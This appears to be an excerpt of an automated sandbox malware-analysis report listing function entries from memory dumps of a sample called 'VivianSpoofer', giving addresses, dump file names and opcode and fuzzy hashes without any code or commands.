Function 00007FF848F20A15 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a81fff7244bc97b4477bcbb85e5c29265fc537a38cc1e0667e973ece32cbb589
Instruction ID: 7c118781d5111753f1364c9b6b029a37015e2225a76d16d96bb4ca3bbe2a00ec
Opcode Fuzzy Hash: a81fff7244bc97b4477bcbb85e5c29265fc537a38cc1e0667e973ece32cbb589
Instruction Fuzzy Hash: F3016D32A09D088FD3A5FB2DD058E7477E1EF49320B1006BED04ECB2A1DF25A845C744

Function 00007FF848FF8B11 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3943410979.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848ff0000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aef2dcbe446d8499c1cce677f9f190ed8d0d318f22f4b3a1f15f449454bfb05
Instruction ID: 70a0f19f2ba5da114032ab9464433a203bafc5c94ae0e994cea23804c2041806
Opcode Fuzzy Hash: 5aef2dcbe446d8499c1cce677f9f190ed8d0d318f22f4b3a1f15f449454bfb05
Instruction Fuzzy Hash: 69F0BE62A0D9DD0FE796AB7C28281A02BD1DBA62A1B4E01E7C148C72A7D9085C079356

Function 00007FF848F2A2C5 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fa6c83736e285e7d4aec3fb477cd12470ab455622608ccf0564096cdaa359bc
Instruction ID: 6090dc69ab6bb24600f3b781898c8659871497586f063d774ddf65748c2a9b46
Opcode Fuzzy Hash: 3fa6c83736e285e7d4aec3fb477cd12470ab455622608ccf0564096cdaa359bc
Instruction Fuzzy Hash: EB014973C0E7944FE362AA68B8020F577D0EB56330F0604BBC8C887196E32A58434384

Function 00007FF848F20788 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd15c162aa9c7bc9e97710a8e085ca1b95d5a4d532271a28c2949d9103849720
Instruction ID: d8af51595679da791d1784420ce4fdb1483b8893a602e128ee5616e008021924
Opcode Fuzzy Hash: fd15c162aa9c7bc9e97710a8e085ca1b95d5a4d532271a28c2949d9103849720
Instruction Fuzzy Hash: BEF0EC72F1DC4F5ED154B32D38451F913D1EB95790B1442F7C00EC31D5DE0A58054745

Function 00007FF848F24E50 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a6be86c0f98dedc0ff0df8d4a2194c8884e1e4db3ffe43a603c5c6bfaf7af09
Instruction ID: 9699ca7c2166ccea343be56f3d1fb542edbc747a55dc84aeffe29b163b823634
Opcode Fuzzy Hash: 4a6be86c0f98dedc0ff0df8d4a2194c8884e1e4db3ffe43a603c5c6bfaf7af09
Instruction Fuzzy Hash: 17F06D1772C5250BF20CAD3DD46603E22C3DBA8612B1A067EA583C32E2DD28E5061258

Function 00007FF848F2C669 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b47a565b2dfcc4d4a4f7b370826e998197336984bfff6cedaa3aff5dd89e18a
Instruction ID: 1f5272fec82858a6b9c163b7edb4c6e8998d4ec10a87af83ea946fe68bd939be
Opcode Fuzzy Hash: 3b47a565b2dfcc4d4a4f7b370826e998197336984bfff6cedaa3aff5dd89e18a
Instruction Fuzzy Hash: E2F02BB7E2DA350DF31C662CF8220B5B380E755B16721193ED9C7825D3EF1A78434188

Function 00007FF848F22309 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fb15f45276eabd9aa057c9193ce4a7041d5a843776e94643de2fa04d3737dc6
Instruction ID: 3eb62b895ffff2d9cf49ea718d9b72ad353e1a356be550e34aed9842e3aa1e85
Opcode Fuzzy Hash: 2fb15f45276eabd9aa057c9193ce4a7041d5a843776e94643de2fa04d3737dc6
Instruction Fuzzy Hash: A9E0ED30A0E5480FE348A76CA8003A666D1DBCD350F58017AF14CC32CBED699C414385

Function 00007FF848FFDCA8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3943410979.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848ff0000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ce828f8e6035b440ef6f27c1d2acbc17754678670d2349bc6ee67b468f1acdb
Instruction ID: cd34dbab16b59206fcaf5e8ec6eecbfd9b56781c95abf745693c10a371842b10
Opcode Fuzzy Hash: 4ce828f8e6035b440ef6f27c1d2acbc17754678670d2349bc6ee67b468f1acdb
Instruction Fuzzy Hash: C9F02732D1DD590FE3F8F71C6464675BAE0FF446C0F8401BAE948D7295E6989C404385

Function 00007FF848F23FB0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5393b5ff7b8a6ca6e402efa01a5ab0fc7d454e2d2971c41cddb9d5f532c1bbb
Instruction ID: 093763d78c2005fb7d158c9a5c072d91120db51511bfb011b84a1632459fdfd7
Opcode Fuzzy Hash: f5393b5ff7b8a6ca6e402efa01a5ab0fc7d454e2d2971c41cddb9d5f532c1bbb
Instruction Fuzzy Hash: D2F06D3110AA0C9FCB88FF69E8409A637A5FF99319B50056DE80DC7281CB37E862CB40

Function 00007FF848F20B42 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56eaae9a05f21308c0a13c7883e947b2a181244562cd2422586209ccf4881808
Instruction ID: 6f1b574c4b0af98c3d8548e57f32935f4ffe3978b352853e698c168b3a8a1d39
Opcode Fuzzy Hash: 56eaae9a05f21308c0a13c7883e947b2a181244562cd2422586209ccf4881808
Instruction Fuzzy Hash: F3E09272C4D1838FE215B73858698F9BBA1AF4128CB0402F9E44D8B2E7DB1DA8954796

Function 00007FF848F33110 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da3929131639491b38b1582d45163f1f0a44664cb0dac71c45e56b7fc03c6cad
Instruction ID: 104f6f98c4a7f2bb102833ec0a957c66db61e5d4c5ecd35a283c97f67f6f88ca
Opcode Fuzzy Hash: da3929131639491b38b1582d45163f1f0a44664cb0dac71c45e56b7fc03c6cad
Instruction Fuzzy Hash: 83E0487051CB184FD798FF28905967676D0EB98351F40151FB48AD3390DB7585808782

Function 00007FF848F2B7A0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 690cad39675dbb43835d5241eeee3f9db0a33b01258c9db4acbb746e831dd967
Instruction ID: b099c5929b834cd70f8f56699f683f89041af26bbda819c9a9531d187bad5279
Opcode Fuzzy Hash: 690cad39675dbb43835d5241eeee3f9db0a33b01258c9db4acbb746e831dd967
Instruction Fuzzy Hash: 9FE092A542D3C00FE30667244825599BFA0AF43344F8805EED4C9CF0E3C66D5589C346

Function 00007FF848F242E0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e10d4268cb6e634c348df56b1cfea2af06bd4419f2dd36dbce82d286c5cc32b
Instruction ID: 6c0a09f405692046171b522b5920076a210aea6ae70eba167a1749be22c7b7df
Opcode Fuzzy Hash: 5e10d4268cb6e634c348df56b1cfea2af06bd4419f2dd36dbce82d286c5cc32b
Instruction Fuzzy Hash: 44D0A721A1AC1D1A8658B21D74459FA3191CBD8220B44013BD40DC2299DD4D5D8243C5

Function 00007FF848F21C21 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 145f3d18631442c52741368ef8d52da7c9f71b8514d3ad6afc9e1514e653ff60
Instruction ID: a093ad8b0a22904d511c69389d7272237d1ff072e3a804a287715c32c8c3ff8d
Opcode Fuzzy Hash: 145f3d18631442c52741368ef8d52da7c9f71b8514d3ad6afc9e1514e653ff60
Instruction Fuzzy Hash: 8BE09270D08A499FD399DB6C98957B8BBE1EF15250F0004FEC00AE31D2DB2929458B08

Function 00007FF848F21638 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59c2fedeea5361caa1324063a16a5d59ddadb35710912c867181a5c235f0c9ed
Instruction ID: defa005bd9fd13566fbafde04b623004d5e416271cf6f46f7dcf6a08a35d5626
Opcode Fuzzy Hash: 59c2fedeea5361caa1324063a16a5d59ddadb35710912c867181a5c235f0c9ed
Instruction Fuzzy Hash: D9D0177083C6844AD758BB24881656ABAD0FB88384FC00A2DBC8AC1190EB29D2848A46

Function 00007FF848F83D50 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a938cc37eadbcdecaa909c327afa560ca575248c9f5700f4facc3ec02be8ff10
Instruction ID: 66615699db40f760045011f21836afb56d06ff3f57048a1eb0f10aa187f09903
Opcode Fuzzy Hash: a938cc37eadbcdecaa909c327afa560ca575248c9f5700f4facc3ec02be8ff10
Instruction Fuzzy Hash: 91B09230856A0D9AC608B73998820507261AB49208FD400ACD80C8A292EB6F9DE6C78A

Non-executed Functions

Function 00007FF848F212F5 Relevance: 1.6, Strings: 1, Instructions: 364COMMON

Download Yara Rule

Strings

Q, xrefs: 00007FF848F4BC60

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: Q
API String ID: 0-3463352047
Opcode ID: f845959a65a71b27ff26afd8ecc6f9909d30c12406ff63231222890a17d92a5d
Instruction ID: 7eee5413c85157bc68353ce535b7fedfb1d2fb85b4ece59307c5a3e4b2340edd
Opcode Fuzzy Hash: f845959a65a71b27ff26afd8ecc6f9909d30c12406ff63231222890a17d92a5d
Instruction Fuzzy Hash: 7991EF317689054FA70CEA2DAC5757932C7E7D9311B14923EE58BC33E6EE20EC538689

Function 00007FF848F212AD Relevance: 1.6, Strings: 1, Instructions: 321COMMON

Download Yara Rule

Strings

6, xrefs: 00007FF848F778C0

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-498629140
Opcode ID: 1deafa8a49e7addac12a90fdc9cac543a294ed8015d064061c678cd115c601fb
Instruction ID: 27cef2cdce5b23329ab0dda5b9608a16f2653eb372d25405e00cc59cc028f5dc
Opcode Fuzzy Hash: 1deafa8a49e7addac12a90fdc9cac543a294ed8015d064061c678cd115c601fb
Instruction Fuzzy Hash: D781463172C9154BA71CE92D8C5743A32CBE7CA311765913EF48BC73D6EE28E8138589

Function 00007FF848F20738 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FF848F24E17

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: VUUU
API String ID: 0-2040033107
Opcode ID: dc06a10d60a1c6b27a55082bd558febd52fbb3dabdccc256db392c67921b1d52
Instruction ID: 20ad4e603d0aaa9e8280631de882c354acd85280dfce2a7303994e7cd533910c
Opcode Fuzzy Hash: dc06a10d60a1c6b27a55082bd558febd52fbb3dabdccc256db392c67921b1d52
Instruction Fuzzy Hash: 505100327689150BA71CD83DDC6227A71C7DBE9715758923EF48BC7BC6CD28E8174284

Function 00007FF848F21125 Relevance: 1.5, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

YS, xrefs: 00007FF848F7264D

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: YS
API String ID: 0-3554184864
Opcode ID: fe6b0eebe1f329f6fad03fc6d9673c8d7266624340c322919216ed32abd79fce
Instruction ID: c755dd853a5d90b87859211eb6c04884015e8688f32f645ad16fcf5ffbd30b93
Opcode Fuzzy Hash: fe6b0eebe1f329f6fad03fc6d9673c8d7266624340c322919216ed32abd79fce
Instruction Fuzzy Hash: 2651183260C9098FE358FF2CD8459B577E6EB99360B14427ED44ACB2E2EE25EC01C784

Function 00007FF848F20B97 Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

27, xrefs: 00007FF848F542A0

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 27
API String ID: 0-336913281
Opcode ID: aafe0f7d217ff7d6dfaec0088e45059a105114d74209b2b3fa34bbd181f7a907
Instruction ID: 5b8186117ee86108edb82996db5c2b5e4256e47b4f1efbf6fcc8ae8a491559bc
Opcode Fuzzy Hash: aafe0f7d217ff7d6dfaec0088e45059a105114d74209b2b3fa34bbd181f7a907
Instruction Fuzzy Hash: 41412972B6C4284BE31CA92DAC4707971C6D3D9361B18923EE48BC37D7FD18D8530199

Function 00007FF848F20ACD Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

r, xrefs: 00007FF848F5AF30

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: r
API String ID: 0-1249672354
Opcode ID: 89003caa25e042b0d91ea6033273e03034a6c54dc46dbf704d16753b31cb5ba8
Instruction ID: cd2095f823fa8b05a1cb1b850b0138a79cdcc19ee3065f2ffb0388b7df3bf73e
Opcode Fuzzy Hash: 89003caa25e042b0d91ea6033273e03034a6c54dc46dbf704d16753b31cb5ba8
Instruction Fuzzy Hash: 39310662B2D81A1B971CA93D4D0703A75CBE7CA201758D23EF987CA3DAED24E82741C5

Function 00007FF848F21235 Relevance: .5, Instructions: 547COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca810411230247cbbcd4a4a05012885df5ee8812aa2a748543b89878056c9a1f
Instruction ID: 14286165294a8ca814f950fe91c4904a4720353ae81cc0310709d6152c34ac3c
Opcode Fuzzy Hash: ca810411230247cbbcd4a4a05012885df5ee8812aa2a748543b89878056c9a1f
Instruction Fuzzy Hash: 83E14A31B1C9154FE71CFA2DD84657A73D6EB89350B14427EE48BC72D2EE28EC5286C8

Function 00007FF848F21325 Relevance: .4, Instructions: 413COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 232c6dc194eb894f11236374bfc36188cb0eaa8a0b4b011b586424928b027e6e
Instruction ID: 5d8554bcda89fd7fe8b0698d5355412feb2fda3b483956b9bd28919babf9ad26
Opcode Fuzzy Hash: 232c6dc194eb894f11236374bfc36188cb0eaa8a0b4b011b586424928b027e6e
Instruction Fuzzy Hash: 50A14A3275C5250BE31CA62D9C124BA73C7EBDA761714913EE1CBC76C6EE24E81346C8

Function 00007FF848F20E8D Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd5948f1dcc60a29ed6abe3159ad61157a56b6f1708825ddc88a76b5e8709c99
Instruction ID: fd6c9d4d6c0d150abc6e4a75b06770f59a79f67fc218c17cb7f29627b9e929d7
Opcode Fuzzy Hash: fd5948f1dcc60a29ed6abe3159ad61157a56b6f1708825ddc88a76b5e8709c99
Instruction Fuzzy Hash: 3BA12931B1C9094FE35CFB2D985647A73D2EB99350F14427EE48BC32D2EE29E8478685

Function 00007FF848F20E85 Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a3199747afe1be601141eac8d6840e62d0f4c11e7e0dcf38c7390d1aed85d1a
Instruction ID: ba4d3ebd589fc914189fa2774fd19147bf64193a5eff4088efec518ded8468bc
Opcode Fuzzy Hash: 3a3199747afe1be601141eac8d6840e62d0f4c11e7e0dcf38c7390d1aed85d1a
Instruction Fuzzy Hash: 6C916732B2D8054FE71CAA2D9C5757932C3EBC9350718527EE58BC73D6EE24EC528285

Function 00007FF848F20C3D Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81e9d72fb73a243fa79014e630d99a0eef7f5070969f5bbec95c7a06d2b79399
Instruction ID: 390079b85bcc03d6c365345ff009b0ec8fc79908e7455e9e971f41e70e3d3ac2
Opcode Fuzzy Hash: 81e9d72fb73a243fa79014e630d99a0eef7f5070969f5bbec95c7a06d2b79399
Instruction Fuzzy Hash: A291683371C44A4FD308B66CBC651F97B91EBC5361B08427FD58ACB6D3EE19A8478289

Function 00007FF848F208F8 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0792e2dfa721c2ad8011e51ba73f9dbec43bb62e45ae573cc75d2a0484503fe7
Instruction ID: 6dba0d844b2ca6f772a2d0f57f5ac93b3cf01051659265654146c12a678ddcd4
Opcode Fuzzy Hash: 0792e2dfa721c2ad8011e51ba73f9dbec43bb62e45ae573cc75d2a0484503fe7
Instruction Fuzzy Hash: 9C91C33161CB494FE76CEB2C84566BAB7D2FB89740F10453EE58FC3291DF34A8428A46

Function 00007FF848F20DED Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9964183b6870005cd6ba78028cb0741a515fd94db0669dda56856b5e0adad8c
Instruction ID: bb6310a1963a28d211df810ee2f62579ad3ee56679e2e7663630eea26afa3307
Opcode Fuzzy Hash: e9964183b6870005cd6ba78028cb0741a515fd94db0669dda56856b5e0adad8c
Instruction Fuzzy Hash: 7871483275850D4FA30CE92E9C5607AB2CBD7DA301715A23EE48BC76E7EE24ED174244

Function 00007FF84904000A Relevance: .3, Instructions: 291COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3943956459.00007FF849040000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff849040000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4c18dfdec1ba0162758c57c91323df5ab6f99277885a562d4ae60d57d0dcd13
Instruction ID: 870f04c510156ec95c007ee941119fd3415a74c58182b53b946172c37405979d
Opcode Fuzzy Hash: f4c18dfdec1ba0162758c57c91323df5ab6f99277885a562d4ae60d57d0dcd13
Instruction Fuzzy Hash: 54912731A1D7C14FE76D9A3888651757BF6EF96640F1841BFD08ACB2E3DE3898068742

Function 00007FF848F26250 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e780c7a79c4be3ac8309aff40478b5eaac3a763717a347d9910f0b61e8880d59
Instruction ID: 0c02209ddfa0fa92e80ae037a8abaff56d4104a9536f8a5bd4898f04faa57a9d
Opcode Fuzzy Hash: e780c7a79c4be3ac8309aff40478b5eaac3a763717a347d9910f0b61e8880d59
Instruction Fuzzy Hash: 92815A31A0C6424FD71D9B2898801B577E2EF853A0F29427DE08BCB2D2DE2DAC1B8744

Function 00007FF848F20985 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d537dc2aaa4968af09f3487c39f5b2821ffda1def1212bb1e6b6038fe7ffab3
Instruction ID: e730554f89f1a8bcfc7bf3ac9809880768c5ee780ad937352d1e7aa0fdbe3837
Opcode Fuzzy Hash: 3d537dc2aaa4968af09f3487c39f5b2821ffda1def1212bb1e6b6038fe7ffab3
Instruction Fuzzy Hash: 4671C031B2CA494FD75CFE2C988993977D2EB99391B50017DE48BC72D2DF24EC428648

Function 00007FF848F20DB5 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b906b3d5bd55e60a1ca733e95250c7397838be63f95cf8a7d809383b93ab29b4
Instruction ID: a97662eb080e7a95c72688a5964885eac39dfe3c499ebc5f01c0867d362a11e2
Opcode Fuzzy Hash: b906b3d5bd55e60a1ca733e95250c7397838be63f95cf8a7d809383b93ab29b4
Instruction Fuzzy Hash: 0A612371B2C9058FD70CEA2DD856539B2C2EBD9310B14527DE88BC73A6EE20EC538685

Function 00007FF848F20E95 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc262333faccc5da622fdf7d210b54a89efff6c8ae4b9db5f56947c348f1d078
Instruction ID: 5aababaf85181ee1d46e7bb5d1d15ea3adac6156433bc3e7730f9610125e3795
Opcode Fuzzy Hash: fc262333faccc5da622fdf7d210b54a89efff6c8ae4b9db5f56947c348f1d078
Instruction Fuzzy Hash: F0514432B1C9094FD71CAA3D981657937C6DBDA360704527EE44BCB3E6EE24EC428284

Function 00007FF848F20A6D Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d65486df85795325fe37b62bd95265f922f4527b80e71114da934779d0b7ff80
Instruction ID: f4b74c57fcf2484d727b79e6e2c52db21712280c070f332b73f974d9a13c2c9d
Opcode Fuzzy Hash: d65486df85795325fe37b62bd95265f922f4527b80e71114da934779d0b7ff80
Instruction Fuzzy Hash: 4D51283170C4154FE71CEA2DA81547573D7EBD9350B29527EF48BC76D3DE28AC028288

Function 00007FF848F21435 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

